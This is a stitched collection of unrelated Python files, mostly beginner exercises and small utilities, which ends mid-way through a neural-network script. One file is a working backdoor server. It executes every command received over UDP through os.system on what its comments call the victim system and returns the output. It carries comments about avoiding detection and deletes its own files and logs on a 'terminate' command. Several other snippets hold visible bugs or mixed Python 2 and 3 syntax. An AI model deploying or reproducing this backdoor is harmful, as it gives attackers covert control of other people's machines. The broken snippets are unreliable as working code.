for vote in tally_list:
Pct =((vote)/(ctr)) * 100
Pct = round(Pct,2)
pct_list.append(Pct)
for e,f in enumerate(tally_list):
if f==max(tally_list):
maxidx=e
## using zip
#anadata = zip(candidatelist,pct_list,tally_list)
#tanadata=tuple(anadata)
print("Election Results")
print("----------------------------")
print(f'Total votes is : {ctr}')
print("----------------------------")
for i in range(len(candidate_list)):
print(f"{candidate_list[i]}: {pct_list[i]}% ({tally_list[i]})")
print("----------------------------")
print('Winner is :',candidate_list[maxidx])
print("----------------------------")
#print(result_list)
# print(f'Total votes is {ctr})')
#
# Specify the file to write to
output_path = os.path.join("Analysis", "analysis_pypoll.txt")
with open(output_path,'w', newline='') as file:
# Initialize csv.writer
csvwriter = csv.writer(file, delimiter=",")
csvwriter.writerow(["Election Results"])
csvwriter.writerow(["----------------------------"])
csvwriter.writerow(" ")
csvwriter.writerow(["Total votes : "+str(ctr)])
csvwriter.writerow(["----------------------------"])
for i in range(len(candidate_list)):
csvwriter.writerow([candidate_list[i] + ": " + str(pct_list[i]) + "% (" + str(tally_list[i]) + ")"])
csvwriter.writerow(["----------------------------"])
csvwriter.writerow(["Winner: "+ candidate_list[maxidx]])
csvwriter.writerow(["----------------------------"])
|
"""
Tic tac toe game
copyright @Avisek Shaw
"""
import time
import random
def row_check(chart,l):
r = chart[0]
c = chart[1]
m = l[r][c]
count = 0
for k in range(3):
if(m==l[r][k]):
count = count + 1
if(count==3):
return True
else:
return False
def col(chart,l):
r = chart[0]
c = chart[1]
m = l[r][c]
count = 0
for k in range(3):
if(m==l[k][c]):
count = count + 1
if(count==3):
return True
else:
return False
def diagonal_check(chart,l):
r = chart[0]
c = chart[1]
m = l[r][c]
count = 0
for k in range(3):
if(m==l[k][k]):
count = count + 1
if(count==3):
return True
else:
return False
def game():
moves_chart = {
0 : [0,0],
1 : [0,1],
2 : [0,2],
3 : [1,0],
4 : [1,1],
5 : [1,2],
6 : [2,0],
7 : [2,1],
8 : [2,2]
}
moves_remaining = [0,1,2,3,4,5,6,7,8]
moves_completed = []
l = [
[" "," "," "],
[" "," "," "],
[" "," "," "]
]
ch = input("Enter Your Weapon for tic tac toe : [X ,O] : ")
if(ch == "X" or ch=="x"):
comp = "O"
else:
comp = "X"
while True:
print("\n***********************Board********************\n")
for i in range(3):
for j in range(3):
print(f"| {l[i][j]} |",end = "")
print("\n----------------")
print("\n")
print(' '.join(str(e) for e in moves_remaining),"\n")
move = int(input("Enter your choice : "))
moves = moves_chart[move]
r = moves[0]
c = moves[1]
l[r][c] = ch
moves_completed.append(move)
moves_remaining.remove(move)
if(row_check(moves,l) or col(moves,l) or diagonal_check(moves,l)):
print("You are the Winner of the game .")
print("\n***********************Board********************\n")
for i in range(3):
for j in range(3):
print(f"| {l[i][j]} |",end = "")
print("\n----------------")
print("\n")
break
print("\n***********************Board********************\n")
for i in range(3):
for j in range(3):
print(f"| {l[i][j]} |",end = "")
print("\n----------------")
print("\n")
if(len(moves_remaining)==0):
print("Game Over match draw")
break
print("Computers Turn : ")
time.sleep(4)
move = random.choice(moves_remaining)
moves = moves_chart[move]
r = moves[0]
c = moves[1]
l[r][c] = comp
moves_completed.append(move)
moves_remaining.remove(move)
if(row_check(moves,l) or col(moves,l) or diagonal_check(moves,l)):
print("You are the Looser of the game .")
print("\n***********************Board********************\n")
for i in range(3):
for j in range(3):
print(f"| {l[i][j]} |",end = "")
print("\n----------------")
print("\n")
break
print("\n***********************Board********************\n")
for i in range(3):
for j in range(3):
print(f"| {l[i][j]} |",end = "")
print("\n----------------")
print("\n")
if(len(moves_remaining)==0):
print("Game Over match draw")
break
else:
continue
game()
|
class Animal:
sound = ""
feed = 0
def __init__(self, age_in_months, breed, required_food_in_kgs):
self._age_in_months = age_in_months
self._breed = breed
self._required_food_in_kgs = required_food_in_kgs
self._reserved_food_in_kgs = 0
if self._age_in_months != 1:
raise ValueError("Invalid value for field age_in_months: {}".format(self._age_in_months))
if self._required_food_in_kgs <= 0:
raise ValueError("Invalid value for field required_food_in_kgs: {}".format(self._required_food_in_kgs))
def grow(self):
self._age_in_months += 1
self._required_food_in_kgs += self.feed
@property
def age_in_months(self):
return self._age_in_months
@property
def breed(self):
return self._breed
@property
def required_food_in_kgs(self):
return self._required_food_in_kgs
@classmethod
def make_sound(cls):
print(cls.sound)
class LandAnimal:
def breathe(self):
print("Breathe in air")
class WaterAnimal:
def breathe(self):
print("Breathe oxygen from water")
class Deer(Animal, LandAnimal):
sound = "Buck Buck"
feed = 2
class Lion(Animal, LandAnimal):
sound = "Roar Roar"
feed = 4
class Shark(Animal, WaterAnimal):
sound = "Shark Sound"
feed = 8
class GoldFish(Animal, WaterAnimal):
sound = "Hum Hum"
feed = 0.2
class Snake(Animal, LandAnimal):
sound = "Hiss Hiss"
feed = 0.5
class Zoo:
animal_count = []
def __init__(self):
self._reserved_food_in_kgs = 0
self._animals_list = []
def count_animals(self):
return len(self._animals_list)
def addfood_to_reserve(self, food):
self._reserved_food_in_kgs += food
def add_animal(self, new_animal):
self._animals_list.append(new_animal)
self.animal_count.append(new_animal)
def feed(self, animal):
self._reserved_food_in_kgs -= animal.required_food_in_kgs
animal.grow()
|
'''
Maximum_subarray_problem
Summary:
Given an array, it will computer the value
of the largest subarray, it doesn't keep track
of the indices though
'''
def max_sub(Array):
#set default values of accumulators to first element
max_ending_here = max_so_far = Array[0]
#iterate through array
for val in Array:
#get the ending_here accumulator and add val
#if the new value is negative, set it to 0
max_ending_here = max(0, max_ending_here + val)
#get the bigger value out of the accumulator so far
#and the ending_here value
max_so_far = max(max_so_far, max_ending_here)
#the value returned will be the maximum sum
#it found that's bigger than 0
return max_so_far
ranArray = [-1,2,3,-4,5,6,7,-3,-1]
max_subarray(ranArray)
|
#CK
import pygame
pygame.init()
# | Paddle()
# |-------------------------------------------------
# | Class for a paddle, which handles the paddle's
# | location, movement and drawing of paddle
# |------------------------------------
class Paddle(pygame.sprite.Sprite):
def __init__(self, xPos, yPos, windowHeight, colour=(255, 255, 255)):
# | Call __init__() method of Sprite() to inherit
pygame.sprite.Sprite.__init__(self)
# | Create the paddle's rect and position it
self.rect = pygame.Rect(xPos, yPos, 15, 90)
self.rect.centerx = xPos
self.rect.centery = yPos
self.windowHeight = windowHeight
self.colour = colour
# | The paddle's speed
self.yVelocity = 10
# | draw()
# |-------------------
# | Draws the paddle
# |---------------
def draw(self, surface):
pygame.draw.rect(surface, self.colour, self.rect)
# | moveUp()
# |-----------------------
# | Moves the paddle up
# |------------------
def moveUp(self):
if self.rect.top > 0:
self.rect.y -= self.yVelocity
# | moveDown()
# |------------------------
# | Moves the paddle down
# |--------------------
def moveDown(self):
if self.rect.bottom < self.windowHeight:
self.rect.y += self.yVelocity
def setVelocity(self, newVelocity):
self.yVelocity = newVelocity
|
# РЕАЛИЗАЦИЯ ВЫВОДА ПОСЛЕДНИХ 10 ЦИФР ОТ ФАКТОРИАЛА ВВЕДЕННОГО ЧИСЛА
def factorial_last_ten_digits(n):
try:
n = int(n)
except ValueError:
raise ValueError
if n == 0:
print(1)
return
elif n < 0:
print("Value should be greater than zero.")
return
res = 1
while n != 1:
if len(str(res)) >= 11:
res = int(str(res)[-10:])
res *= n
print(res)
n -= 1
print(res)
return
factorial_last_ten_digits(input())
|
class Solution:
def fizzBuzz(self, n: int) -> List[str]:
list = []
for i in range(n):
s = str(i+1)
if (i+1) % 3 == 0 :
s = "Fizz"
if (i+1) % 5 == 0 :
s = "Buzz"
if (i+1) % 15 == 0 :
s = "FizzBuzz"
list.append(s)
return list
|
import random
# 3 组数据,每个数不超过 10 位
n = 3
hi = 10 ** 10
print(n)
for _ in range(n):
a = random.randrange(0, hi) # randrange 不包含 hi
b = random.randrange(0, hi)
print(a, b)
|
def collect_list(n):
inp_list = []
for i in range(0, n):
inp_list += [int(input())]
return inp_list
if __name__ == '__main__':
list_size = int(input())
in_list = collect_list(list_size)
list_sum = sum(in_list[:])
print(list_sum)
|
import math
truck_width = float(input())
truck_depth = float(input())
truck_height = float(input())
number_of_barrels = int(input())
truck_volume = truck_width * truck_depth * truck_height
for i in range(number_of_barrels):
barrel_radius = float(input())
barrel_height = float(input())
barrel_volume = math.pi * (barrel_radius ** 2) * barrel_height
truck_volume -= barrel_volume
if truck_volume > 0:
continue
elif truck_volume == 0:
print(f'Truck is full. {i + 1} on board!')
else:
print(f'Truck is full. {i} on board!')
break
if truck_volume >= 0:
print(f'All barrels on board. Capacity left - {truck_volume:.2f}.')
|
if __name__ == '__main__':
arr = list(map(int, input().split()))
sorted_arr = arr[:1]
for i in range(1, len(arr)):
for j in range(0, len(sorted_arr)):
inserted = False
if arr[i] < sorted_arr[j]:
sorted_arr = sorted_arr[:j] + [arr[i]] + sorted_arr[j:]
inserted = True
break
if not inserted:
sorted_arr.append(arr[i])
print(*sorted_arr)
|
if __name__ == '__main__':
input_string = input().split()
rotated_string = []
rotated_string += input_string[-1:]
for i in range(0, len(input_string) - 1):
rotated_string += input_string[i:i+1]
print(' '.join(rotated_string))
|
def swap(_list: list, index1: int, index2: int):
if 0 > index1 or index1 > (len(_list) - 1) or 0 > index2 or index2 > (len(_list) - 1):
return _list.__str__()
else:
_list[index1], _list[index2] = _list[index2], _list[index1]
return _list.__str__()
def enumerate_list(_list: list):
return list(enumerate(_list)).__str__()
def get_divisible_by(_list: list, num: int):
return [n for n in _list if n % num == 0].__str__()
_list = [int(el) for el in input().split()]
output = ''
_input = input()
counter = 0
while not _input == 'end':
_input = _input.split()
counter += 1
command = _input[0]
if command == 'swap':
index1 = int(_input[1])
index2 = int(_input[2])
output += '\n' + swap(_list, index1, index2)
elif command == 'enumerate_list':
output += '\n' + enumerate_list(_list)
elif command == 'max':
output += '\n' + str(max(_list))
elif command == 'min':
output += '\n' + str(min(_list))
elif command == 'get_divisible':
if _input[1] == 'by':
output += '\n' + get_divisible_by(_list, int(_input[2]))
else:
counter -= 1
_input = input()
continue
else:
counter -= 1
_input = input()
continue
_input = input()
output = output.lstrip('\n') + f'\n{counter}'
print(output)
|
def reverse_insert_sort(arr):
for i in range(1, len(arr)):
for j in range(0, i):
if arr[i] > arr[j]:
temp = arr[i:i + 1] + arr[j:i]
arr[j:i + 1] = temp
return arr
if __name__ == '__main__':
unsorted_arr = list(map(int, input().split()))
n = int(input())
sorted_arr = reverse_insert_sort(unsorted_arr)
print(*sorted_arr[:n])
|
from find_contact import *
from edit_contact import *
if __name__ == '__main__':
INPUT_PROMPT = """"Please enter your choise:
1.Find contact by name
2.Find contact by town
3.Find contact by phone number
4.Print all contacts
5.Add new contact
6.Delete contact
7.Edit contact\n"""
_input = input(INPUT_PROMPT)
command_dict = {
'1': find_contact_by_name,
'2': find_contact_by_town,
'3': find_contact_by_phone,
'4': print_all_contacts,
'5': add_contact,
'6': delete_contact,
'7': edit_contact
}
command_dict[_input]()
|
input_list = [int(num) for num in input().split()]
def multiply(data_list, params):
if params[0] == 'list':
data_list = data_list * int(params[1])
return data_list
else:
m = int(params[0])
n = int(params[1])
data_list = [el * n if el == m else el for el in data_list]
return data_list
def contains(data_list, params):
if int(params[0]) in data_list:
print('True')
else:
print('False')
def add(data_list, params):
if ',' in params[0] :
params = params[0].split(',')
new_lest = [int(el) for el in params]
data_list.extend(new_lest)
return data_list
else:
new_element = int(params[0])
data_list.append(new_element)
return data_list
_input = input()
while not _input == 'END':
command = _input.split()[0]
params = _input.split()[1:]
if command == 'multiply':
input_list = multiply(input_list, params)
elif command == 'contains':
contains(input_list, params)
elif command == 'add':
input_list = add(input_list, params)
_input = input()
data_list = sorted(input_list)
output = ' '.join(str(el) for el in data_list)
print(output)
|
class BankAccount:
def __init__(self, name, bank, balance):
self.name = name
self.bank = bank
self.balance = balance
accounts = []
_input = input()
while not _input == 'end':
_input = list(_input.split(' | '))
bank = _input[0]
name = _input[1]
balance = float(_input[2])
account = BankAccount(name, bank, balance)
accounts.append(account)
_input = input()
sorted_accounts = sorted(accounts, key=lambda a: (-a.balance, len(a.bank)))
for account in sorted_accounts:
print(f'{account.name} -> {account.balance:.2f} ({account.bank})')
|
import os
import sys
import time
options = [1, 2]
def select_op(op):
if op in options:
return True
return False
def print_menu():
print " __________________________________"
print " | >> Multiply matrixes program << |"
print " |__________________________________|"
def csv_to_matrix(f_name):
opened = False
matrix = []
try:
f = open(f_name, 'r')
opened = True
lines = f.readlines()
num_rows = len(lines)
if(num_rows == 0):
opened = False
else:
num_cols = len(lines[0])
except IOError:
opened = False
print '\nError: Inexistent or empty file'
if opened:
# Parsing csv format
for l in lines:
row = l.strip().split(',')
row = filter(None,row)
row = map(int,row)
matrix.append(row)
return (opened, matrix)
def sel_matrix():
opened = False
matrix = []
while not opened:
print " |__________________________________|"
print " | Insert the name of the file |"
print " | containing the matrix(csv format)|"
print " |> ",
f_name = sys.stdin.readline().strip()
actual_path = os.getcwd()
if(actual_path not in f_name):
f_name = actual_path + '/' + f_name
print "| Loaded! |"
# print '%s' % f_name
(opened,matrix) = csv_to_matrix(f_name)
return (matrix, f_name)
def the_end():
print " | THE END |"
print " |__________________________________|"
def print_error_dimensions():
print " | Error: Cannot multiply the two |"
print " | matrixes. Incorrect dimensions. |"
print " | Try again... |"
def wait():
print ' | Sleep time! |'
time.sleep(0.5)
print ' | zZzZ... |'
time.sleep(1)
print ' | zZzZ... |'
time.sleep(1)
print ' | I\'m back! |'
|
from typing import List
from mortgage.mortgage import Mortgage
def compute_mortgage(periods: List[int],
interest_rates: List[float],
mortgage_amount: int,
mortgage_duration: int = 360,
name: str = 'Mortgage') -> Mortgage:
"""
Compute the burden and monthly fees for the fixed interest periods for a mortgage.
:param periods: fixed interest periods in months corresponding to the interest_rates.
:param interest_rates: interest rates for the specified fixed periods in percentage, e.g. 2.1%.
:param mortgage_amount: total loan amount in euro's.
:param mortgage_duration: total duration of the mortgage in months, usually 360 months.
:param name: optional name of the mortgage
:return: mortgage object representing the total burden and monthly fees per fixed period.
"""
interest_rates = [x / 100 for x in interest_rates]
monthly_fees = []
burden = 0
remaining_amount = mortgage_amount
if sum(periods) != mortgage_duration:
print('ERROR: mortgage not possible')
return Mortgage(mortgage_amount=0,
burden=0,
periods=[],
monthly_fees=[],
name='Impossible mortgage')
for fixed_period, interest in zip(periods, interest_rates):
monthly_interest = interest / 12
if monthly_interest == 0:
annuity = remaining_amount / mortgage_duration
repayment_fixed_period = annuity * fixed_period
else:
annuity = (monthly_interest / (1 - ((1 + monthly_interest) ** -mortgage_duration))
) * remaining_amount
first_repayment = annuity - remaining_amount * monthly_interest
reason = monthly_interest + 1
repayment_fixed_period = first_repayment * (reason ** fixed_period - 1) / (reason - 1)
monthly_fees.append(annuity)
burden += annuity * fixed_period
remaining_amount -= repayment_fixed_period
mortgage_duration -= fixed_period
return Mortgage(mortgage_amount=mortgage_amount,
burden=burden,
periods=periods,
monthly_fees=monthly_fees,
name=name)
|
# coding:utf-8
class Solution:
def isPalindrome(self, x: int) -> bool:
if x < 0 or (x > 0 and x % 10 == 0):
return False
y = 0
if x < 10:
return True
while x > 0:
t = x % 10
x = x // 10
y = 10 * y + t
print(x, y)
print(x,y)
if x == y or (x > 9 and y == x // 10):
return True
return False
if __name__ == '__main__':
print(Solution().isPalindrome(9))
|
# coding: utf-8
class Solution:
def reverse(self, x: int) -> int:
flag = False
if x < 0:
flag = True
x = -x
y = 0
while x > 0:
n = x % 10
x = x//10
y = y*10+n
pass
if flag:
y = -y
if y < -2 ** 31 or y > 2 ** 31:
return 0
return y
if __name__ == "__main__":
print(Solution().reverse(-12455668))
|
import numpy as np
__all__ = [
'nrmse',
'nmse',
'rmse',
'mse'
]
def nrmse( input, target, discard=0, var=-1 ):
""" NRMSE calculation.
Calculates the normalized root mean square error (NRMSE)
of the input signal compared to the target signal.
Parameters:
-----------
input : array
the input signal
target : array
the target signal
discard : int, optional
number of initial values which should be skipped
var : float, optional
can be used to set the variance of the target signal
"""
insignal = input.copy()
targetsignal = target.copy()
# reshape values
insignal.shape = -1,
targetsignal.shape = -1,
if( targetsignal.size > insignal.size ):
maxsize = insignal.size
else:
maxsize = targetsignal.size
origsig = targetsignal[discard:maxsize]
testsig = insignal[discard:maxsize]
# check if a variance is given
if var<=0:
var = origsig.std()**2
error = (origsig - testsig)**2
nrmse = np.sqrt( error.mean() / var )
return nrmse
def nmse( input, target, discard=0, var=-1 ):
""" NMSE calculation.
Calculates the normalized mean square error (NMSE)
of the input signal compared to the target signal.
Parameters:
-----------
insignal : array
the input signal
targetsignal : array
the target signal
discard : int, optional
number of initial values which should be skipped
var : float, optional
can be used to set the variance of the target signal
"""
insignal = input.copy()
targetsignal = target.copy()
# reshape values
insignal.shape = -1,
targetsignal.shape = -1,
if( targetsignal.size > insignal.size ):
maxsize = insignal.size
else:
maxsize = targetsignal.size
origsig = targetsignal[discard:maxsize]
testsig = insignal[discard:maxsize]
# check if a variance is given
if var<=0:
var = origsig.std()**2
error = (origsig - testsig)**2
nmse = error.mean() / var
return nmse
def rmse( input, target, discard=0 ):
""" RMSE calculation.
Calculates the root mean square error (RMSE)
of the input signal compared to the target signal.
Parameters:
-----------
insignal : array
the input signal
targetsignal : array
the target signal
discard : int, optional
number of initial values which should be skipped
"""
insignal = input.copy()
targetsignal = target.copy()
# reshape values
insignal.shape = -1,
targetsignal.shape = -1,
if( targetsignal.size > insignal.size ):
maxsize = insignal.size
else:
maxsize = targetsignal.size
origsig = targetsignal[discard:maxsize]
testsig = insignal[discard:maxsize]
error = (origsig - testsig)**2
nrmse = np.sqrt( error.mean() )
return nrmse
def mse( input, target, discard=0 ):
""" MSE calculation.
Calculates the mean square error (MSE)
of the input signal compared to the target signal.
Parameters:
-----------
insignal : array
the input signal
targetsignal : array
the target signal
discard : int, optional
number of initial values which should be skipped
"""
insignal = input.copy()
targetsignal = target.copy()
# reshape values
insignal.shape = -1,
targetsignal.shape = -1,
if( targetsignal.size > insignal.size ):
maxsize = insignal.size
else:
maxsize = targetsignal.size
origsig = targetsignal[discard:maxsize]
testsig = insignal[discard:maxsize]
error = (origsig - testsig)**2
nrmse = error.mean()
return nrmse
|
# reduceReuseRecyle - Holden Higgens & Joyce Wu
# Softdev2 pd 7
# k18 -- Reductio ad Absurdum
# 2018-04-30
from functools import reduce
def open_f():
#opens file and creates list of words in text
f = open("pope.txt", "r")
file = f.read()
return file.split()
#test ary
sample = ['hi', 'hello', 'hola', 'heh', 'hi', 'nihao', 'bonjour', 'hi', 'hello']
#actual book
words = open_f()
#find frequency of single word
def word_freq(word, f):
return reduce((lambda x,y: x+(1 if y==word else 0)),f,0)
#print word_freq('hello', sample)
#find frequency of group of words
def words_freq(phrase, f):
split_phrase = phrase.split()
#print(split_phrase)
#finds if phrase is found by iterating through list of words
lst = [1 for w in range(len(f)) if split_phrase == sample[w: w+len(split_phrase)]]
if lst == []: #no appearance of phrase
return 0
return reduce((lambda x, y: x + y), lst) #adds up total frequency
#print words_freq('hola heh', sample)
#find most frequently occurring word
def most_freq(f):
#creates a set of words without repeating
unique_words = {x for x in f}
w={}
for x in unique_words:
w[x]=0
for x in f:
w[x]+=1
longest=""
longfreq=0
for x in unique_words:
if w[x]>longfreq:
longfreq=w[x]
longest=x
return longest+" "+str(longfreq)
#turns back to list so indexOf can be used
""""print 2
lst = [x for x in unique_words]
print 3
counts = [word_freq(x, f) for x in lst]
return lst[counts.index(max(counts))] #max num corresponds with word
#non-list comprehension way
# current_word = ''
# current_highest = 0
# for w in f:
# count = word_freq(w, f)
# if count > current_highest:
# current_word = w
# current_highest = count
# return current_word"""
#print word_freq("the",words)
print most_freq(words)
#print "hi"
|
import socket #This allows us to create socckets and various network protcol data communications
import os #This lets us initiate functions on the operating system kernel
import sys #This lets us initiate
import random #This will allow us to randmize our port that is being assigned to the server THIS SI GOOD FOR TESTING IT
os.system("clear")
ip = "" #This is a static IP address we can use if we want to configure the main server with
port = 8 #If you are running this on your own system and need it to clear the ip and port just run "nmap localhost" in your linux terminal and it will clear it up by forcing it into an ignored/closed state
#port = randomint(0, 10) #This willa ssigna random int value for our port value from 1 to 10
address = (ip, port)
#This sets up the main server side socket information
server = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server.bind(address) #This will bind a listening port and IP address on the main target system UDP DOESN'T HAVE A LISTENING STATE FOR CONNECTIONS IT JUST RECIEVES AND HANDLES THE DATA
#def listen(): #This is going to put the server into a listening state where it will wait for connections (THIS IS GOING TO LATER BE UPGRADED TO HANDLE MORE THAN ONE TYPE OF CONNECTION)
while True:
#The server will listen for any and all connections, and handle them, along with any responses needed to be sent to client systems to confirm the connction handshake
print("Server in listening state on PORT => ", port)
connection, client_addr = server.recvfrom(7000) #Accept() doesn't exist int he UDP protocol
#Once it accepts a connection, it will print the contents to us in the terminal. as well as to a main log file that we canr efernce (COMMENT THIS OUT TO AVOID GIVING AWAY IP INFROMATION)
print("CONECTION RECIEVED FROM => ", client_addr)
print(str(client_addr))
#This will parse and pipe in a command to the python3 interpreter to execute a log script we are runnning to keep track of who connects to the server (COMMENT THIS OUT TO AVOID DETECTION)
echocommand = "echo ' " + str(client_addr) + " ' | python3 LogScript.py" #You can nest single quotes to wrap around inside concated strings to format and handle the data properlly
os.system(echocommand)
#The server will ping back the client a message to the client system connected indicating and completing the handshake
response = "ack"
responsedata = response.encode('UTF-8')
server.sendto(responsedata, client_addr) #Critical that we use the "connection" variable that is handling first elements from the "server.accept()" function call to send data.
#YOU CANNOT SEND DATA WITH A SOCKET THAT IS ALREADY IN A LISTENING STATE OTHERWISE IT WILL CASUE A BROKEN PIPE ERROR TO OCCUR
break
#def wait_for_data(): #This while loop is going to have th eserver sit and wait for data from the main client that is connected to the server (THIS ALSO NEEDS TO BE APART OF A THREAD EVENTUALLY)
while True:
print("Waiting for Data from the Client")
clientdata, client_addr2 = server.recvfrom(7000)
if clientdata: #If the server recieves any data, it will unwrwap and run the command on the victim system hosting the server
#This will convert the command to a string format and then pass it to the system to execute
tcphandler = clientdata.decode('UTF-8')
print(tcphandler) #The command will print to the main system (THIS CAN BE COMMENTED OUT)
#This command will have the program wipe itself from the system, all data, and will terminate the main connection
if tcphandler == "terminate":
#def clean_up(): This will clean up the main programs excess files: logs, text files, etc
os.system("rm LogScript.py")
os.system("rm anonymous.txt")
os.system("rm LogData.txt")
os.system("rm TCPServerBackDoor.py")
server.close() #This will
exit() #This is going to close the main server side connecton so it can't recieve anymore requests to it
#If th eexit commnad is recieved from the clinet server side fo the connection, then the server will terminate
if tcphandler == "exit":
exit()
#We might have to use the exact same pipe commadn in order to get it to work for the same area here
syscommand = tcphandler + " > anonymous.txt" #The output here is going to a file!!! that's why I can't seee it ONCE WE FIX
os.system(syscommand)
#Next we need to open the file in the current location and then have it's contents sent back to the client in binary format so we can see the main output of the command from our end
results = open("anonymous.txt", "r") #This is going to open the file for it to be read the file in string format
resultsdata = results.read() #The data will be read in full here
commanddata = resultsdata.encode('UTF-8') #Then it wil all be encoded into binary format to be transmitted tot he client system
server.sendto(commanddata, client_addr) #Data is being sent here
|
import math
r = float(input())
area = r * r * math.pi
cir = 2 * r * math.pi
print('%f %f'%(area,cir))
|
# Hi Lo Guessing game
print("Choose a number between 1 and 100")
print("After each guess, enter:")
print("0 - if I got it right")
print("-1 - if I guessed too high")
print("1 - if I guessed too low")
def take_guess(high, low, guesses):
guess = (high + low) / 2
keep_asking = 1
while keep_asking == 1:
print ("My guess is: " + str(guess))
response = raw_input("enter a response: ")
if str(response) == "0":
print("I got it right")
print("It took: " + str(guesses) + " guesses!")
keep_asking == 0
elif str(response) == "-1":
print("I will guess lower")
high = guess
take_guess(high, low, guesses + 1)
keep_asking == 0
elif str(response) == "1":
print("I will guess higher")
low = guess
take_guess(high, low, guesses + 1)
keep_asking == 0
else:
print("Choose a number between 1 and 100")
print("After each guess, enter:")
print("0 - if I got it right")
print("-1 - if I guessed too high")
print("1 - if I guessed too low")
print(" ")
return("Your response was: " + str(response))
#def main():
#high = 1000
#low = 0
#guesses = 1
#while high > low:
#response = return(take_guess(high, low))
#if response == 0:
#high == 0
#elif response == -1:
#high = guess - 1
#elif response == 1:
#high = guess + 1
#if high == low:
#print response
take_guess(1000, 0, 0)
|
p1=int(raw_input())
if(p1>=2):
if(p1%2==0):
print("enen")
elif(p1%2!=0):
print("odd")
else:
print("not valid")
|
# Read data
# data_file = open('day1/input.txt')
# data_in = data_file.readlines()
# frequency = 0
# # Sum frequency
# for i in data_in:
# frequency += int(i)
# print('Result: %d' % frequency)
# Single line solution - Sum all frequencies
print('Result: %d' % sum(map(int, open('day1/input.txt').readlines())))
|
#1번 문제의 이차원 점을 상속 받고 3차원 의 두점을 입력 받아서 합을 출력
x1 = int(input())
y1= int(input())
z1 = int(input())
x2= int(input())
y2= int(input())
z2= int(input())
class plus:
def __init__(self, x,y):
self.x = x
self.y = y
def __add__(self, other):
self.x =self.x + other.x
self.y = self.y + other.y
class plus3(plus):
def __init__(self, x,y,z):
super(plus3,self).__init__(x,y)
self.z = z
def __add__(self, other):
super(plus3,self).__add__(other)
self.z = self.z + other.z
first = plus3(x1,y1,z1)
second = plus3(x2, y2,z2)
first + second
print(first.x, first.y, first.z)
|
# 1부터 입력한 수까지의 짝수의 합
x = int(input())
sum = 0
for i in range(0, x+1,2):
sum += i
print(sum)
|
""" Contains a neural network based on the Neural Networks and Deep Learning online course on Coursera
"""
# Package imports
import numpy as np
import copy
import matplotlib.pyplot as plt
def sigmoid(x):
"""
Compute the sigmoid of x
Arguments:
x -- A scalar or numpy array of any size.
Return:
s -- sigmoid(x)
"""
s = 1/(1+np.exp(-x))
return s
def layer_sizes(X, Y):
"""
Arguments:
X -- input dataset of shape (input size, number of examples)
Y -- labels of shape (output size, number of examples)
Returns:
n_x -- the size of the input layer
n_h -- the size of the hidden layer
n_y -- the size of the output layer
"""
n_x = X.shape[0]
n_h = 4
n_y = Y.shape[0]
return (n_x, n_h, n_y)
def initialize_parameters(n_x, n_h, n_y):
"""
Argument:
n_x -- size of the input layer
n_h -- size of the hidden layer
n_y -- size of the output layer
Returns:
params -- python dictionary containing your parameters:
W1 -- weight matrix of shape (n_h, n_x)
b1 -- bias vector of shape (n_h, 1)
W2 -- weight matrix of shape (n_y, n_h)
b2 -- bias vector of shape (n_y, 1)
"""
np.random.seed(2)
W1 = np.random.randn(n_h,n_x) * 0.01
b1 = np.zeros((n_h,1))
W2 = np.random.randn(n_y,n_h) * 0.01
b2 = np.zeros((n_y,1))
parameters = {"W1": W1,
"b1": b1,
"W2": W2,
"b2": b2}
return parameters
def forward_propagation(X, parameters):
"""
Argument:
X -- input data of size (n_x, m)
parameters -- python dictionary containing your parameters (output of initialization function)
Returns:
A2 -- The sigmoid output of the second activation
cache -- a dictionary containing "Z1", "A1", "Z2" and "A2"
"""
W1 = parameters["W1"]
b1 = parameters["b1"]
W2 = parameters["W2"]
b2 = parameters["b2"]
Z1 = np.dot(W1,X) + b1
A1 = np.tanh(Z1)
Z2 = np.dot(W2,A1) + b2
A2 = sigmoid(Z2)
assert(A2.shape == (1, X.shape[1]))
cache = {"Z1": Z1,
"A1": A1,
"Z2": Z2,
"A2": A2}
return A2, cache
def compute_cost(A2, Y):
"""
Computes the cross-entropy cost given in equation (13)
Arguments:
A2 -- The sigmoid output of the second activation, of shape (1, number of examples)
Y -- "true" labels vector of shape (1, number of examples)
Returns:
cost -- cross-entropy cost given equation (13)
"""
m = Y.shape[1] # number of examples
logprobs = np.multiply(np.log(A2),Y) + np.multiply(np.log(1.0-A2),(1.0-Y))
cost = - np.sum(logprobs) /m
cost = float(np.squeeze(cost)) # makes sure cost is the dimension we expect
return cost
def backward_propagation(parameters, cache, X, Y):
"""
Implement the backward propagation using the instructions above.
Arguments:
parameters -- python dictionary containing our parameters
cache -- a dictionary containing "Z1", "A1", "Z2" and "A2".
X -- input data of shape (2, number of examples)
Y -- "true" labels vector of shape (1, number of examples)
Returns:
grads -- python dictionary containing your gradients with respect to different parameters
"""
m = X.shape[1]
W1 = parameters["W1"]
W2 = parameters["W2"]
A1 = cache["A1"]
A2 = cache["A2"]
dZ2 = A2 - Y
dW2 = np.dot(dZ2,A1.T)/m
db2 = np.sum(dZ2,axis=1,keepdims=True)/m
dZ1 = np.dot(W2.T,dZ2) * (1 - np.power(A1, 2))
dW1 = np.dot(dZ1,X.T)/m
db1 = np.sum(dZ1,axis=1,keepdims=True)/m
grads = {"dW1": dW1,
"db1": db1,
"dW2": dW2,
"db2": db2}
return grads
def update_parameters(parameters, grads, learning_rate = 1.2):
"""
Updates parameters using the gradient descent update rule given above
Arguments:
parameters -- python dictionary containing your parameters
grads -- python dictionary containing your gradients
Returns:
parameters -- python dictionary containing your updated parameters
"""
W1 = copy.deepcopy(parameters["W1"])
b1 = parameters["b1"]
W2 = copy.deepcopy(parameters["W2"])
b2 = parameters["b2"]
dW1 = grads["dW1"]
db1 = grads["db1"]
dW2 = grads["dW2"]
db2 = grads["db2"]
W1 -= learning_rate * dW1
b1 -= learning_rate * db1
W2 -= learning_rate * dW2
b2 -= learning_rate * db2
parameters = {"W1": W1,
"b1": b1,
"W2": W2,
"b2": b2}
return parameters
def nn_model(X, Y, n_h, num_iterations = 10000, print_cost=False):
"""
Arguments:
X -- dataset of shape (2, number of examples)
Y -- labels of shape (1, number of examples)
n_h -- size of the hidden layer
num_iterations -- Number of iterations in gradient descent loop
print_cost -- if True, print the cost every 1000 iterations
Returns:
parameters -- parameters learnt by the model. They can then be used to predict.
"""
np.random.seed(3)
n_x = layer_sizes(X, Y)[0]
n_y = layer_sizes(X, Y)[2]
parameters = initialize_parameters(n_x,n_h,n_y)
for i in range(0, num_iterations):
A2, cache = forward_propagation(X, parameters)
cost = compute_cost(A2, Y)
